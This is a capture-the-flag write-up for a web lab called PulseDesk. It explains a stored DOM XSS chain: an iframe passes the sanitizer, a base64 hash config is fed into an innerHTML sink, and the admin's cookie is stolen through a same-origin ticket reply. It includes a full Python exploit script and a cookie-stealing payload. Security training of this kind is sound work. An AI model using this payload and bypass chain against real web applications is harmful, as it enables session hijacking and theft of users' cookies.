Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection
Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, base64_encoding_without_plus_or_equals, dom_xss_via_innerhtml_hash_config, iframe_injection_through_sanitizer_allowlist, same_origin_cookie_exfiltration_via_ticket_reply, urlsearchparams_base64_corruption_bypass
Summary
Walkthrough of the CUSTOM Web Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection. Task: Support ticketing platform with embeddable chat widget using postMessage API and URL hash auto-configure, both feeding innerHTML XSS sink; HTML sanitizer allows iframe with relative src. Solutio
Description
PulseDesk is a customer support ticketing platform built by PulseWare Solutions. The application allows support agents to manage tickets, write internal notes, and deploy embeddable chat widgets on external websites.
PulseDesk features a live chat widget system that can be embedded on third-party sites using iframes. The widget uses the postMessage API to receive configuration updates from parent frames, allowing dynamic customization of theme colors, welcome messages, and layout.
Explore how the widget communicates with its parent page and whether the communication channel is properly secured. Pay attention to how origin validation is performed and how incoming message data is processed. An admin bot periodically reviews newly submitted tickets.
Your goal is to steal the admin's secret cookie, which contains the flag.
English summary: A Node.js/Express support ticketing platform with an embeddable chat widget at /widget/embed. The widget accepts configuration via postMessage API (with weak origin validation) and URL hash fragment (no validation at all), both feeding an innerHTML XSS sink. The HTML sanitizer allows <iframe> tags with relative src URLs. An admin bot periodically visits new tickets. The goal is to steal the admin's flag cookie.
Analysis
Application Architecture
- Stack: Express/Node.js with Bulma CSS (PulseDesk v1.4.2)
- Session:
connect.sidcookie (HttpOnly, SameSite=Lax) - Security headers:
X-XSS-Protection: 1; mode=block(ineffective for DOM XSS), no CSP - Credentials: user@test.com / password123
Key endpoints:
| Endpoint | Purpose |
|---|---|
/tickets | Ticket list |
/tickets/new | Create ticket (HTML allowed in description) |
/tickets/:id | Ticket detail page |
/tickets/:id/reply | Add reply to ticket (POST, no CSRF token) |
/widget/embed | Embeddable chat widget — vulnerable |
/api/notes | Per-user notes (requires auth) |
/notes | Admin/agent only (403 for regular users) |
/robots.txt | Reveals /api/, /widget/embed, /notes, /knowledge |
| |
HTML Sanitizer
The ticket description and reply fields pass through an HTML sanitizer:
- Allowed tags:
<b>,<i>,<a>(href stripped ifjavascript:),<img>(src kept, event handlers stripped),<iframe>(src kept for relative/HTTPS URLs),<code> - Stripped tags:
<script>,<svg>,<details>,<video>,<audio>,<input>,<marquee>,<meta>,<object>,<embed> - Stripped attributes: ALL event handlers (
onerror,onload,onclick, etc.) - Stripped iframe attributes:
srcdoc,sandbox;data:,javascript:,about:URLs stripped from src
Key finding: <iframe src="/widget/embed#..."> passes the sanitizer because it's a relative URL.
Widget Vulnerability (/widget/embed)
The widget page has two input vectors, both leading to the same innerHTML XSS sink:
Vector 1: postMessage API (weak origin validation)
javascript read-only • copy allowedvar TRUSTED_ORIGIN = 'pulsedesk.io'; window.addEventListener('message', function(event) { if (event.origin.indexOf(TRUSTED_ORIGIN) === -1 && event.origin !== 'null') { return; } var data = event.data; if (!data || !data.type) return; if (data.type === 'configure' || data.type === 'update-theme') { if (data.html) { document.getElementById('config-display').innerHTML = data.html; // XSS SINK } } });
The indexOf check is bypassable (e.g., attacker-pulsedesk.io), but not needed for this attack.
Vector 2: URL hash auto-configure (no origin check)
javascript read-only • copy allowed(function() { try { var hash = window.location.hash.substring(1); var params = new URLSearchParams(hash); var cfg = params.get('config'); if (cfg) { var data = JSON.parse(atob(cfg)); if (data.html) { document.getElementById('config-display').innerHTML = data.html; // XSS SINK } } } catch(e) {} })();
This vector is exploitable via iframe src: /widget/embed#config=BASE64_JSON. No origin check, no authentication required.
Critical Base64 Encoding Issue
The widget uses new URLSearchParams(hash) to parse the URL fragment. URLSearchParams has two behaviors that corrupt base64:
+is decoded as space — if the base64 contains+,atob()receives a space instead, causing decode failure=is interpreted as key-value separator — base64 padding=can be misinterpreted
The try/catch block silently swallows the error, making debugging difficult. The solution is to craft a JSON payload whose base64 encoding contains neither + nor =.
Technique: Pad the JSON string with trailing spaces until the base64 output is clean:
python read-only • copy allowedfor padding in range(50): padded = config_json + " " * padding b64 = base64.b64encode(padded.encode()).decode() if '+' not in b64 and '=' not in b64: break
Exfiltration Constraints
Several exfiltration methods were ruled out:
| Method | Why it failed |
|---|---|
Interaction Server (http://interact/...) | HTTP-only endpoint; browser blocks mixed content (HTTP fetch from HTTPS page) |
/api/notes POST | Notes are per-user; admin's notes stored under admin's user_id, invisible to us |
| External webhook | No outbound network from lab environment |
| |
Working method: Same-origin POST to /tickets/:id/reply — the reply endpoint accepts content parameter without CSRF token, and replies are visible to all users who can view the ticket.
Solution
Attack Chain
- Craft an XSS payload using
<img src=1 onerror=...>that readsdocument.cookieand POSTs it as a reply to an existing ticket - Wrap the payload in a JSON config object:
{"html": "<img src=1 onerror=...>"} - Base64-encode the JSON, ensuring no
+or=in the output (pad with spaces) - Embed in a ticket description as:
<iframe src="/widget/embed#config=BASE64" width="400" height="300"> - Submit the ticket — the HTML sanitizer allows
<iframe>with relative src URLs - Admin bot visits the ticket page → iframe loads the widget → hash config is parsed →
innerHTMLsets the XSS payload →<img>fails to load →onerrorfires →document.cookieis POSTed as a reply - Read the target ticket to find the admin's cookie containing the flag
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ PulseDesk Lab 48 — Stored XSS via Widget Hash Config DOM Injection Exploits innerHTML sink in /widget/embed via iframe injection in ticket description. Exfiltrates admin's flag cookie via same-origin ticket reply POST. """ import json import base64 import time import re import requests TARGET = "https://3f8d44eb-9451-4501-9392-7ab8e67f5c46.labs.hackadvisor.io" # Step 1: Login s = requests.Session() s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: Create a ticket to receive exfiltrated data (ticket 2) # (Or use an existing ticket — just need a known ticket ID) # Step 3: Craft XSS payload # The img onerror fires when src=1 fails to load # It POSTs document.cookie as a reply to ticket 2 xss_js = ( "fetch('/tickets/2/reply'," "{method:'POST'," "headers:{'Content-Type':'application/x-www-form-urlencoded'}," "body:'content=C:'+document.cookie})" ) html_payload = f'<img src=1 onerror={xss_js}>' # Step 4: Create config JSON and base64-encode config = {"html": html_payload} config_json = json.dumps(config) # Pad JSON with trailing spaces until base64 has no + or = b64 = "" for padding in range(50): padded = config_json + " " * padding b64 = base64.b64encode(padded.encode()).decode() if '+' not in b64 and '=' not in b64: print(f"[+] Clean base64 found with {padding} spaces padding") break # Step 5: Build iframe tag (passes HTML sanitizer — relative src allowed) iframe = ( f'<iframe src="/widget/embed#config={b64}" ' f'width="400" height="300" style="border:none;"></iframe>' ) # Step 6: Submit ticket with iframe payload r = s.post(f"{TARGET}/tickets", data={ "subject": "Widget not loading on external site", "description": f"Hi, the widget is broken on our site. Details: {iframe}", "priority": "high" }) print(f"[*] Ticket submitted: {r.status_code}") # Step 7: Wait for admin bot to visit and trigger XSS print("[*] Waiting 60s for admin bot to visit the ticket...") time.sleep(60) # Step 8: Check ticket 2 for exfiltrated cookie r = s.get(f"{TARGET}/tickets/2") match = re.search(r'flag=FLAG\{[^}]+\}', r.text) if match: flag = match.group().replace('flag=', '') print(f"[+] FLAG: {flag}") else: print("[*] Flag not found yet, check ticket 2 manually") # Look for any cookie data in replies cookies = re.findall(r'C:(.+?)(?:<|$)', r.text) for c in cookies: print(f" Cookie data: {c}")
Execution Flow
[+] Clean base64 found with 3 spaces padding
[*] Ticket submitted: 302
[*] Waiting 60s for admin bot to visit the ticket...
[+] FLAG: FLAG{REDACTED}
The admin bot visits the new ticket, the iframe loads /widget/embed with the hash config, the base64 is decoded to JSON, the html field is set via innerHTML, the <img> tag's onerror fires, and document.cookie (containing flag=FLAG{...}) is POSTed as a reply to ticket 2.
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, base64_encoding_without_plus_or_equals, dom_xss_via_innerhtml_hash_config, iframe_injection_through_sanitizer_allowlist, same_origin_cookie_exfiltration_via_ticket_reply, urlsearchparams_base64_corruption_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 48 — PulseDesk — Stored XSS via Widget postMessage DOM Injection • Difficulty: Medium